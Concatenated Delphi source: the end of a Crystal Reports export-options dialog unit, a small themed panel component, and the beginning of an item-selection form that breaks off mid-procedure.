{------------------------------------------------------------------------------}
{ FormShow procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.FormShow(Sender: TObject);
begin
{Store original settings}
rAppName := Cr.ExportOptions.AppName;
rFileName := Cr.ExportOptions.FileName;
rFileType := Ord(Cr.ExportOptions.FileType);
rDestination := Ord(Cr.ExportOptions.Destination);
rPromptForOptions := Cr.ExportOptions.PromptForOptions;
rPromptOnOverwrite := Cr.ExportOptions.PromptOnOverwrite;
{Email}
rCCList := Cr.ExportOptions.Email.CCList;
rMessage := Cr.ExportOptions.Email.Message;
rSubject := Cr.ExportOptions.Email.Subject;
rToList := Cr.ExportOptions.Email.ToList;
rBCCList := Cr.ExportOptions.Email.BCCList;
rPassword := Cr.ExportOptions.Email.Password;
rUserName := Cr.ExportOptions.Email.UserName;
{Exchange}
rFolder := Cr.ExportOptions.Exchange.Folder;
rExchPassword := Cr.ExportOptions.Exchange.Password;
rProfile := Cr.ExportOptions.Exchange.Profile;
{LotusNotes}
rDBName := Cr.ExportOptions.LotusNotes.DBName;
rFormName := Cr.ExportOptions.LotusNotes.FormName;
rComments := Cr.ExportOptions.LotusNotes.Comments;
{Excel}
rArea := Cr.ExportOptions.Excel.Area;
rColumnWidth := Ord(Cr.ExportOptions.Excel.ColumnWidth);
rConstant := Cr.ExportOptions.Excel.Constant;
rWorksheetFunctions := Cr.ExportOptions.Excel.WorksheetFunctions;
rXLSType := Ord(Cr.ExportOptions.Excel.XLSType);
rChopPageHeader := Cr.ExportOptions.Excel.ChopPageHeader;
rConvertDatesToStrings := Cr.ExportOptions.Excel.ConvertDatesToStrings;
rCreatePageBreaks := Cr.ExportOptions.Excel.CreatePageBreaks;
rExportHeaderFooter := Cr.ExportOptions.Excel.ExportHeaderFooter;
rExcelFirstPage := Cr.ExportOptions.Excel.FirstPage;
rExcelLastPage := Cr.ExportOptions.Excel.LastPage;
rExcelUsePageRange := Cr.ExportOptions.Excel.UsePageRange;
{HTML}
rHTMLFirstPage := Cr.ExportOptions.HTML.FirstPage;
rHTMLLastPage := Cr.ExportOptions.HTML.LastPage;
rPageNavigator := Cr.ExportOptions.HTML.PageNavigator;
rSeparatePages := Cr.ExportOptions.HTML.SeparatePages;
rHTMLUsePageRange := Cr.ExportOptions.HTML.UsePageRange;
{ODBC}
rODBCPassword := Cr.ExportOptions.ODBC.Password;
rODBCSource := Cr.ExportOptions.ODBC.Source;
rODBCTable := Cr.ExportOptions.ODBC.Table;
rODBCUser := Cr.ExportOptions.ODBC.User;
rODBCPrompt := Cr.ExportOptions.ODBC.Prompt;
{PDF}
rPDFUsePageRange := Cr.ExportOptions.PDF.UsePageRange;
rPDFFirstPage := Cr.ExportOptions.PDF.FirstPage;
rPDFLastPage := Cr.ExportOptions.PDF.LastPage;
rPDFPrompt := Cr.ExportOptions.PDF.Prompt;
{RTF}
rRTFUsePageRange := Cr.ExportOptions.RTF.UsePageRange;
rRTFFirstPage := Cr.ExportOptions.RTF.FirstPage;
rRTFLastPage := Cr.ExportOptions.RTF.LastPage;
rRTFPrompt := Cr.ExportOptions.RTF.Prompt;
{Text Options}
rUseRptNumberFmt := Cr.ExportOptions.Text.UseRptNumberFmt;
rUseRptDateFmt := Cr.ExportOptions.Text.UseRptDateFmt;
rStringDelimiter := Cr.ExportOptions.Text.StringDelimiter;
rFieldSeparator := Cr.ExportOptions.Text.FieldSeparator;
rLinesPerPage := Cr.ExportOptions.Text.LinesPerPage;
rCharPerInch := Cr.ExportOptions.Text.CharPerInch;
rRecordsType := Ord(Cr.ExportOptions.Text.RecordsType);
{MSWord}
rWordFirstPage := Cr.ExportOptions.Word.FirstPage;
rWordLastPage := Cr.ExportOptions.Word.LastPage;
rWordPrompt := Cr.ExportOptions.Word.Prompt;
rWordUsePageRange := Cr.ExportOptions.Word.UsePageRange;
{XML}
rXMLPrompt := Cr.ExportOptions.XML.Prompt;
rXMLSeparatePages := Cr.ExportOptions.XML.SeparatePages;
{Set the Active FileType}
rgFileType.ItemIndex := Ord(Cr.ExportOptions.FileType);
case rgFileType.ItemIndex of
1,8,11 : btnOptions.Enabled := False;
0,2,3,4,5,6,7,9,10,12,13 : btnOptions.Enabled := True;
end;
{FileName}
editFileName.Text := Cr.ExportOptions.FileName;
{Set Destination, Form Height, Panels}
rgDestination.ItemIndex := Ord(Cr.ExportOptions.Destination);
rgDestinationClick(Self);
{Check Boxes}
cbPromptForOptions.Checked := Cr.ExportOptions.PromptForOptions;
cbPromptOnOverwrite.Checked := Cr.ExportOptions.PromptOnOverwrite;
cbProgressDialog.Checked := Cr.ProgressDialog;
end;
{------------------------------------------------------------------------------}
{ btnOptionsClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.btnOptionsClick(Sender: TObject);
begin
case rgFileType.ItemIndex of
0 : begin
CrpeAdobeAcrobatPDFDlg := TCrpeAdobeAcrobatPDFDlg.Create(Application);
CrpeAdobeAcrobatPDFDlg.Cr := Cr;
CrpeAdobeAcrobatPDFDlg.ShowModal;
end;
1 : {CrystalReportRPT, no options};
2 : begin
CrpeHTML4Dlg := TCrpeHTML4Dlg.Create(Application);
CrpeHTML4Dlg.Cr := Cr;
CrpeHTML4Dlg.ShowModal;
end;
3 : begin
CrpeHTML4Dlg := TCrpeHTML4Dlg.Create(Application);
CrpeHTML4Dlg.Cr := Cr;
CrpeHTML4Dlg.ShowModal;
end;
4 : begin
CrpeExcelDlg := TCrpeExcelDlg.Create(Application);
CrpeExcelDlg.Cr := Cr;
CrpeExcelDlg.ShowModal;
end;
5 : begin
CrpeWordDlg := TCrpeWordDlg.Create(Application);
CrpeWordDlg.Cr := Cr;
CrpeWordDlg.ShowModal;
end;
6 : begin
CrpeOdbcDlg := TCrpeOdbcDlg.Create(Application);
CrpeOdbcDlg.Cr := Cr;
CrpeOdbcDlg.ShowModal;
end;
7 : begin
CrpeExportRecordsDlg := TCrpeExportRecordsDlg.Create(Application);
CrpeExportRecordsDlg.Cr := Cr;
CrpeExportRecordsDlg.ShowModal;
end;
8 : {ReportDefinition, no options};
9 : begin
CrpeRichTextFormatDlg := TCrpeRichTextFormatDlg.Create(Application);
CrpeRichTextFormatDlg.Cr := Cr;
CrpeRichTextFormatDlg.ShowModal;
end;
10 : begin
CrpeSepValDlg := TCrpeSepValDlg.Create(Application);
CrpeSepValDlg.Cr := Cr;
CrpeSepValDlg.ShowModal;
end;
11 : {TabSeparatedText, no options};
12 : begin
CrpePagTextDlg := TCrpePagTextDlg.Create(Application);
CrpePagTextDlg.Cr := Cr;
CrpePagTextDlg.ShowModal;
end;
13 : begin
CrpeXML1Dlg := TCrpeXML1Dlg.Create(Application);
CrpeXML1Dlg.Cr := Cr;
CrpeXML1Dlg.ShowModal;
end;
end;
end;
{------------------------------------------------------------------------------}
{ rgFileTypeClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.rgFileTypeClick(Sender: TObject);
var
OnOff : boolean;
begin
case rgFileType.ItemIndex of
0 : Cr.ExportOptions.FileType := AdobeAcrobatPDF;
1 : Cr.ExportOptions.FileType := CrystalReportRPT;
2 : Cr.ExportOptions.FileType := HTML32;
3 : Cr.ExportOptions.FileType := HTML40;
4 : Cr.ExportOptions.FileType := MSExcel;
5 : Cr.ExportOptions.FileType := MSWord;
6 : Cr.ExportOptions.FileType := ODBCTable;
7 : Cr.ExportOptions.FileType := Records;
8 : Cr.ExportOptions.FileType := ReportDefinition;
9 : Cr.ExportOptions.FileType := RichText;
10: Cr.ExportOptions.FileType := SeparatedValues;
11: Cr.ExportOptions.FileType := TabSeparatedText;
12: Cr.ExportOptions.FileType := TextFormat;
13: Cr.ExportOptions.FileType := XML1;
end;
OnOff := (rgFileType.ItemIndex <> 6);
{Set Colors}
editFileName.Color := ColorState(OnOff);
editFileName.Enabled := OnOff;
{Email}
editUserName.Color := ColorState(OnOff);
editPassword.Color := ColorState(OnOff);
editToList.Color := ColorState(OnOff);
editCCList.Color := ColorState(OnOff);
editSubject.Color := ColorState(OnOff);
memoMessage.Color := ColorState(OnOff);
{VIM}
editVimTo.Color := ColorState(OnOff);
editVimCC.Color := ColorState(OnOff);
editVimBCC.Color := ColorState(OnOff);
editVimSubject.Color := ColorState(OnOff);
memoVimMessage.Color := ColorState(OnOff);
{Exchange}
editProfile.Color := ColorState(OnOff);
editFolder.Color := ColorState(OnOff);
editExchangePassword.Color := ColorState(OnOff);
{LotusNotes}
editDBName.Color := ColorState(OnOff);
editFormName.Color := ColorState(OnOff);
editComments.Color := ColorState(OnOff);
{Application}
editAFileName.Color := ColorState(OnOff);
editAFileName.Enabled := OnOff;
editAppName.Color := ColorState(OnOff);
editAppName.Enabled := OnOff;
{Enable/Disable applicable controls}
pcDestination.Enabled := OnOff;
case rgFileType.ItemIndex of
1,8,11 : btnOptions.Enabled := False;
0,2,3,4,5,6,7,9,10,12,13 : btnOptions.Enabled := True;
end;
end;
{------------------------------------------------------------------------------}
{ cbPromptForOptionsClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.cbPromptForOptionsClick(Sender: TObject);
var
OnOff : Boolean;
begin
Cr.ExportOptions.PromptForOptions := cbPromptForOptions.Checked;
OnOff := not cbPromptForOptions.Checked;
if OnOff = True then
OnOff := not (rgFileType.ItemIndex = 6);
{Set Colors}
editFileName.Color := ColorState(OnOff);
editFileName.Enabled := OnOff;
{Email}
editUserName.Color := ColorState(OnOff);
editPassword.Color := ColorState(OnOff);
editToList.Color := ColorState(OnOff);
editCCList.Color := ColorState(OnOff);
editSubject.Color := ColorState(OnOff);
memoMessage.Color := ColorState(OnOff);
{VIM}
editVimTo.Color := ColorState(OnOff);
editVimCC.Color := ColorState(OnOff);
editVimBCC.Color := ColorState(OnOff);
editVimSubject.Color := ColorState(OnOff);
memoVimMessage.Color := ColorState(OnOff);
{Exchange}
editProfile.Color := ColorState(OnOff);
editFolder.Color := ColorState(OnOff);
editExchangePassword.Color := ColorState(OnOff);
{LotusNotes}
editDBName.Color := ColorState(OnOff);
editFormName.Color := ColorState(OnOff);
editComments.Color := ColorState(OnOff);
{Application}
editAFileName.Color := ColorState(OnOff);
editAFileName.Enabled := OnOff;
editAppName.Color := ColorState(OnOff);
editAppName.Enabled := OnOff;
{Enable/Disable applicable controls}
pcDestination.Enabled := OnOff;
end;
{------------------------------------------------------------------------------}
{ cbPromptOnOverwriteClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.cbPromptOnOverwriteClick(Sender: TObject);
begin
Cr.ExportOptions.PromptOnOverwrite := cbPromptOnOverwrite.Checked;
end;
{------------------------------------------------------------------------------}
{ rgExportToClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.rgDestinationClick(Sender: TObject);
begin
case rgDestination.ItemIndex of
{toFile}
0: begin
pcDestination.ActivePage := tsToFile;
Cr.ExportOptions.Destination := toFile;
editFileName.Text := Cr.ExportOptions.FileName;
end;
{toEmailViaMapi}
1: begin
pcDestination.ActivePage := tsToEmailViaMapi;
Cr.ExportOptions.Destination := toEmailViaMapi;
editUserName.Text := Cr.ExportOptions.Email.UserName;
editPassword.Text := Cr.ExportOptions.Email.Password;
editToList.Text := Cr.ExportOptions.Email.ToList;
editCCList.Text := Cr.ExportOptions.Email.CCList;
editSubject.Text := Cr.ExportOptions.Email.Subject;
memoMessage.Text := Cr.ExportOptions.Email.Message;
end;
{toEmailViaVIM}
2: begin
pcDestination.ActivePage := tsToEmailViaVim;
Cr.ExportOptions.Destination := toEmailViaVIM;
editVimTo.Text := Cr.ExportOptions.Email.ToList;
editVimCC.Text := Cr.ExportOptions.Email.CCList;
editVimBCC.Text := Cr.ExportOptions.Email.BCCList;
editVimSubject.Text := Cr.ExportOptions.Email.Subject;
memoVimMessage.Text := Cr.ExportOptions.Email.Message;
end;
{toExchangeFolder}
3: begin
pcDestination.ActivePage := tsToMsExchange;
Cr.ExportOptions.Destination := toMSExchange;
editProfile.Text := Cr.ExportOptions.Exchange.Profile;
editFolder.Text := Cr.ExportOptions.Exchange.Folder;
editExchangePassword.Text := Cr.ExportOptions.Exchange.Password;
end;
{toLotusNotes}
4: begin
pcDestination.ActivePage := tsToLotusNotes;
Cr.ExportOptions.Destination := toLotusNotes;
editDBName.Text := Cr.ExportOptions.LotusNotes.DBName;
editFormName.Text := Cr.ExportOptions.LotusNotes.FormName;
editComments.Text := Cr.ExportOptions.LotusNotes.Comments;
end;
{toApplication}
5: begin
pcDestination.ActivePage := tsToApplication;
Cr.ExportOptions.Destination := toApplication;
editAFileName.Text := Cr.ExportOptions.FileName;
editAppName.Text := Cr.ExportOptions.AppName;
end;
end;
end;
{------------------------------------------------------------------------------}
{ editFileNameChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editFileNameChange(Sender: TObject);
begin
Cr.ExportOptions.FileName := editFileName.Text;
ExportPath := ExtractFilePath(editFileName.Text);
end;
{------------------------------------------------------------------------------}
{ editFileNameDblClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editFileNameDblClick(Sender: TObject);
const
FileExtensions : array[TCrExportType] of string = ('.pdf',
'.rpt', '.html', '.html', '.xls', '.doc', '.doc', '', '.rec',
'.txt', '.rtf', '.csv', '.ttx', '.txt', '.xml');
FileTypes : array [TCrExportType] of string = ('Portable Document Format',
'Crystal Report', 'HTML 3.2 (Standard)', 'HTML 4.0 (dHTML)',
'MS Excel 97-2000 Workbook', 'MS Word', 'MS Word - Editable', 'Not applicable to ODBC',
'Record Style', 'Report Definition', 'Rich Text Format',
'Separated Values', 'Tab-separated', 'Paginated Text',
'Extensible Markup Language');
var
ext : string;
begin
{Set the Save Dialog Options}
SaveDialog1.Title := 'Set Export Path & Filename...';
SaveDialog1.InitialDir := ExportPath;
SaveDialog1.FileName := editFileName.Text;
ext := FileExtensions[Cr.ExportOptions.FileType];
SaveDialog1.Filter := FileTypes[Cr.ExportOptions.FileType] +
' (' + ext + ')|' + ext + '|All files (*.*) | *.*';
SaveDialog1.Options := [ofPathMustExist, ofHideReadOnly, ofNoReadOnlyReturn];
if SaveDialog1.Execute then
begin
editFileName.Text := SaveDialog1.Filename;
{Store the Export Path for next time}
ExportPath := ExtractFilePath(SaveDialog1.Filename);
end;
end;
{------------------------------------------------------------------------------}
{ Exchange: editProfileChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editProfileChange(Sender: TObject);
begin
Cr.ExportOptions.Exchange.Profile := editProfile.Text;
end;
{------------------------------------------------------------------------------}
{ Exchange: editFolderChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editFolderChange(Sender: TObject);
begin
Cr.ExportOptions.Exchange.Folder := editFolder.Text;
end;
{------------------------------------------------------------------------------}
{ Exchange: editPasswordChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editExchangePasswordChange(Sender: TObject);
begin
Cr.ExportOptions.Exchange.Password := editExchangePassword.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: editUserNameChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editUserNameChange(Sender: TObject);
begin
Cr.ExportOptions.Email.UserName := editUserName.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: editPasswordChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editPasswordChange(Sender: TObject);
begin
Cr.ExportOptions.Email.Password := editPassword.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: editToListChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editToListChange(Sender: TObject);
begin
Cr.ExportOptions.Email.ToList := editToList.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: editCCListChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editCCListChange(Sender: TObject);
begin
Cr.ExportOptions.Email.CCList := editCCList.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: editSubjectChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editSubjectChange(Sender: TObject);
begin
Cr.ExportOptions.Email.Subject := editSubject.Text;
end;
{------------------------------------------------------------------------------}
{ Mapi: memoMessageChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.memoMessageChange(Sender: TObject);
begin
Cr.ExportOptions.Email.Message := memoMessage.Text;
end;
{------------------------------------------------------------------------------}
{ VIM: editToListVChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editToListVChange(Sender: TObject);
begin
Cr.ExportOptions.Email.ToList := editVimTo.Text;
end;
{------------------------------------------------------------------------------}
{ VIM: editCCListVChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editCCListVChange(Sender: TObject);
begin
Cr.ExportOptions.Email.CCList := editVimCC.Text;
end;
{------------------------------------------------------------------------------}
{ VIM: editBCCListVChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editBCCListVChange(Sender: TObject);
begin
Cr.ExportOptions.Email.BCCList := editVimBCC.Text;
end;
{------------------------------------------------------------------------------}
{ VIM: editSubjectVChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editSubjectVChange(Sender: TObject);
begin
Cr.ExportOptions.Email.Subject := editVimSubject.Text;
end;
{------------------------------------------------------------------------------}
{ VIM: memoMessageVChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.memoMessageVChange(Sender: TObject);
begin
Cr.ExportOptions.Email.Message := memoVimMessage.Text;
end;
{------------------------------------------------------------------------------}
{ Application: editAFileNameChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editAFileNameChange(Sender: TObject);
begin
Cr.ExportOptions.FileName := editAFileName.Text;
ExportPath := ExtractFilePath(editAFileName.Text);
end;
{------------------------------------------------------------------------------}
{ Application: editAFileNameDblClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editAFileNameDblClick(Sender: TObject);
const
FileExtensions : array[TCrExportType] of string = ('.pdf',
'.rpt', '.html', '.html', '.xls', '.doc', '.doc', '', '.rec',
'.txt', '.rtf', '.csv', '.ttx', '.txt', '.xml');
FileTypes : array [TCrExportType] of string = ('Portable Document Format',
'Crystal Report', 'HTML 3.2 (Standard)', 'HTML 4.0 (dHTML)',
'MS Excel 97-2000 Workbook', 'MS Word', 'MS Word - Editable', 'Not applicable to ODBC',
'Record Style', 'Report Definition', 'Rich Text Format',
'Separated Values', 'Tab-separated', 'Paginated Text',
'Extensible Markup Language');
var
ext : string;
begin
{Set the Save Dialog Options}
SaveDialog1.Title := 'Set Export Path & Filename...';
SaveDialog1.InitialDir := ExportPath;
SaveDialog1.FileName := editAFileName.Text;
ext := FileExtensions[Cr.ExportOptions.FileType];
SaveDialog1.Filter := FileTypes[Cr.ExportOptions.FileType] +
' (' + ext + ')|' + ext + '|All files (*.*) | *.*';
SaveDialog1.Options := [ofPathMustExist, ofHideReadOnly, ofNoReadOnlyReturn];
if SaveDialog1.Execute then
begin
editAFileName.Text := SaveDialog1.Filename;
{Store the Export Path for next time}
ExportPath := ExtractFilePath(SaveDialog1.Filename);
end;
end;
{------------------------------------------------------------------------------}
{ Application: editAppNameChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editAppNameChange(Sender: TObject);
begin
Cr.ExportOptions.AppName := editAppName.Text;
end;
{------------------------------------------------------------------------------}
{ Application: editAppNameDblClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.editAppNameDblClick(Sender: TObject);
begin
{Set the Save Dialog Options}
SaveDialog1.Title := 'Select Application...';
SaveDialog1.InitialDir := ExportPath;
SaveDialog1.FileName := editAppName.Text;
SaveDialog1.Filter := 'Application Files (*.exe) | *.exe|All files (*.*) | *.*';
SaveDialog1.Options := [ofPathMustExist, ofFileMustExist, ofHideReadOnly];
if SaveDialog1.Execute then
editAppName.Text := SaveDialog1.Filename;
end;
{------------------------------------------------------------------------------}
{ pcDestinationChange procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.pcDestinationChange(Sender: TObject);
var
i: integer;
begin
{Update the Export Destination radio button with the Active Destination Page}
for i := 0 to pcDestination.PageCount - 1 do
begin
if pcDestination.Pages[i] = pcDestination.ActivePage then
Break;
end;
rgDestination.ItemIndex := i;
end;
{------------------------------------------------------------------------------}
{ cbProgressDialogClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.cbProgressDialogClick(Sender: TObject);
begin
Cr.ProgressDialog := cbProgressDialog.Checked;
end;
{------------------------------------------------------------------------------}
{ cbKeepOpenClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.cbKeepOpenClick(Sender: TObject);
begin
if cbKeepOpen.Checked = True then
btnExport.ModalResult := mrNone
else
btnExport.ModalResult := mrOk;
end;
{------------------------------------------------------------------------------}
{ btnExportClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.btnExportClick(Sender: TObject);
var
stop : boolean;
prevOut : TCrOutput;
begin
{Initialize stop variable}
stop := False;
if not cbPromptForOptions.Checked then
begin
{Check to make sure output file is specified}
case rgDestination.ItemIndex of
0: {toFile}
begin
if Cr.ExportOptions.FileType <> ODBCTable then
begin
if editFileName.Text = '' then
begin
if MessageDlg('No Export FileName entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end
end;
end;
1: {toEmailViaMapi}
begin
if editToList.Text = '' then
begin
if MessageDlg('No "To:" address entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end;
end;
2: {toEmailViaVIM}
begin
if editVimTo.Text = '' then
begin
if MessageDlg('No "To:" address entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end;
end;
3: {toMSExchange}
begin
if editProfile.Text = '' then
begin
if MessageDlg('No Exchange Profile entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end;
end;
4: {toLotusNotes}
begin
if editDBName.Text = '' then
begin
if MessageDlg('No Lotus Notes DBName entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end;
end;
5: {toApplication}
begin
if Cr.ExportOptions.FileType <> ODBCTable then
begin
if editAFileName.Text = '' then
begin
if MessageDlg('No Export FileName entered!' + Chr(10) +
'Continue anyway?', mtWarning, [mbYes, mbNo], 0) = mrNo then
stop := True;
end;
end;
end;
end;
end;
if stop = False then
begin
prevOut := Cr.Output;
Cr.Export;
Cr.Output := prevOut;
if not cbKeepOpen.Checked then Close;
end
else
ModalResult := mrNone;
end;
{------------------------------------------------------------------------------}
{ btnOkClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.btnOkClick(Sender: TObject);
begin
SaveFormPos(Self);
Close;
end;
{------------------------------------------------------------------------------}
{ btnCancelClick procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.btnCancelClick(Sender: TObject);
begin
{Restore Original Settings}
Cr.ExportOptions.AppName := rAppName;
Cr.ExportOptions.FileName := rFileName;
Cr.ExportOptions.FileType := TCrExportType(rFileType);
Cr.ExportOptions.Destination := TCrExportDestination(rDestination);
Cr.ExportOptions.PromptForOptions := rPromptForOptions;
Cr.ExportOptions.PromptOnOverwrite := rPromptOnOverwrite;
{Email}
Cr.ExportOptions.Email.CCList := rCCList;
Cr.ExportOptions.Email.Message := rMessage;
Cr.ExportOptions.Email.Subject := rSubject;
Cr.ExportOptions.Email.ToList := rToList;
Cr.ExportOptions.Email.BCCList := rBCCList;
Cr.ExportOptions.Email.UserName := rUserName;
Cr.ExportOptions.Email.Password := rPassword;
{Exchange}
Cr.ExportOptions.Exchange.Folder := rFolder;
Cr.ExportOptions.Exchange.Password := rPassword;
Cr.ExportOptions.Exchange.Profile := rProfile;
{LotusNotes}
Cr.ExportOptions.LotusNotes.DBName := rDBName;
Cr.ExportOptions.LotusNotes.FormName := rFormName;
Cr.ExportOptions.LotusNotes.Comments := rComments;
{Excel}
Cr.ExportOptions.Excel.Area := rArea;
Cr.ExportOptions.Excel.ColumnWidth := TCrColumnWidth(rColumnWidth);
Cr.ExportOptions.Excel.Constant := rConstant;
Cr.ExportOptions.Excel.WorksheetFunctions := rWorksheetFunctions;
Cr.ExportOptions.Excel.XLSType := TCrExportExcelType(rXLSType);
Cr.ExportOptions.Excel.ChopPageHeader := rChopPageHeader;
Cr.ExportOptions.Excel.ConvertDatesToStrings := rConvertDatesToStrings;
Cr.ExportOptions.Excel.CreatePageBreaks := rCreatePageBreaks;
Cr.ExportOptions.Excel.ExportHeaderFooter := rExportHeaderFooter;
Cr.ExportOptions.Excel.FirstPage := rExcelFirstPage;
Cr.ExportOptions.Excel.LastPage := rExcelLastPage;
Cr.ExportOptions.Excel.UsePageRange := rExcelUsePageRange;
{HTML}
Cr.ExportOptions.HTML.PageNavigator := rPageNavigator;
Cr.ExportOptions.HTML.SeparatePages := rSeparatePages;
Cr.ExportOptions.HTML.FirstPage := rHTMLFirstPage;
Cr.ExportOptions.HTML.LastPage := rHTMLLastPage;
Cr.ExportOptions.HTML.UsePageRange := rHTMLUsePageRange;
{ODBC}
Cr.ExportOptions.ODBC.Password := rODBCPassword;
Cr.ExportOptions.ODBC.Source := rODBCSource;
Cr.ExportOptions.ODBC.Table := rODBCTable;
Cr.ExportOptions.ODBC.User := rODBCUser;
Cr.ExportOptions.ODBC.Prompt := rODBCPrompt;
{PDF}
Cr.ExportOptions.PDF.Prompt := rPDFPrompt;
Cr.ExportOptions.PDF.UsePageRange := rPDFUsePageRange;
Cr.ExportOptions.PDF.FirstPage := rPDFFirstPage;
Cr.ExportOptions.PDF.LastPage := rPDFLastPage;
{RTF}
Cr.ExportOptions.RTF.Prompt := rRTFPrompt;
Cr.ExportOptions.RTF.UsePageRange := rRTFUsePageRange;
Cr.ExportOptions.RTF.FirstPage := rRTFFirstPage;
Cr.ExportOptions.RTF.LastPage := rRTFLastPage;
{Text}
Cr.ExportOptions.Text.UseRptNumberFmt := rUseRptNumberFmt;
Cr.ExportOptions.Text.UseRptDateFmt := rUseRptDateFmt;
Cr.ExportOptions.Text.StringDelimiter := rStringDelimiter;
Cr.ExportOptions.Text.FieldSeparator := rFieldSeparator;
Cr.ExportOptions.Text.LinesPerPage := rLinesPerPage;
Cr.ExportOptions.Text.CharPerInch := rCharPerInch;
Cr.ExportOptions.Text.RecordsType := TCrRecordsType(rRecordsType);
{MSWord}
Cr.ExportOptions.Word.Prompt := rWordPrompt;
Cr.ExportOptions.Word.UsePageRange := rWordUsePageRange;
Cr.ExportOptions.Word.FirstPage := rWordFirstPage;
Cr.ExportOptions.Word.LastPage := rWordLastPage;
{XML}
Cr.ExportOptions.XML.SeparatePages := rXMLSeparatePages;
Cr.ExportOptions.XML.Prompt := rXMLPrompt;
Close;
end;
{------------------------------------------------------------------------------}
{ FormClose procedure }
{------------------------------------------------------------------------------}
procedure TCrpeExportOptionsDlg.FormClose(Sender: TObject; var Action: TCloseAction);
begin
bExportOptions := False;
Release;
end;
end.
|
unit LiteBackground;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, uColorTheme;
{
Lite Label
}
type TLiteBackground = class(Tpanel, IUnknown, IThemeSupporter)
private
theme: ColorTheme;
protected
public
constructor Create(AOwner: TComponent); override;
// IThemeSupporter
procedure setTheme(theme: ColorTheme);
function getTheme(): ColorTheme;
procedure updateColors();
published
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Lite', [TLiteBackground]);
end;
// Override
constructor TLiteBackground.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
theme := CT_DEFAULT_THEME;
updateColors();
BevelOuter := bvNone;
end;
// Override
procedure TLiteBackground.setTheme(theme: ColorTheme);
var
i: integer;
supporter: IThemeSupporter;
begin
self.theme := theme; // link
for i := 0 to ControlCount - 1 do
if Supports(controls[i], IThemeSupporter, supporter) then
supporter.setTheme(theme);
end;
// Override
function TLiteBackground.getTheme(): ColorTheme;
begin
getTheme := theme;
end;
// Override
procedure TLiteBackground.updateColors();
var
i: integer;
supporter: IThemeSupporter;
begin
Color := theme.background;
for i := 0 to ControlCount - 1 do
if Supports(controls[i], IThemeSupporter, supporter) then
supporter.updateColors();
end;
end.
|
unit ItemSelectForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
InflatablesList_Manager;
type
TfItemSelectForm = class(TForm)
lblItems: TLabel;
lbItems: TListBox;
btnAccept: TButton;
btnCancel: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure lbItemsClick(Sender: TObject);
procedure lbItemsDblClick(Sender: TObject);
procedure lbItemsDrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure btnAcceptClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
private
{ Private declarations }
fDrawBuffer: TBitmap;
fILManager: TILManager;
fAccepted: Boolean;
protected
procedure FillList;
procedure UpdateIndex;
public
{ Public declarations }
procedure Initialize(ILManager: TILManager);
procedure Finalize;
Function ShowItemSelect(const Title: String; Selected: Integer = -1): Integer;
end;
var
fItemSelectForm: TfItemSelectForm;
implementation
{$R *.dfm}
uses
InflatablesList_Utils,
InflatablesList_Item;
procedure TfItemSelectForm.FillList;
var
i: Integer;
begin
//don't forget fDataAccessible
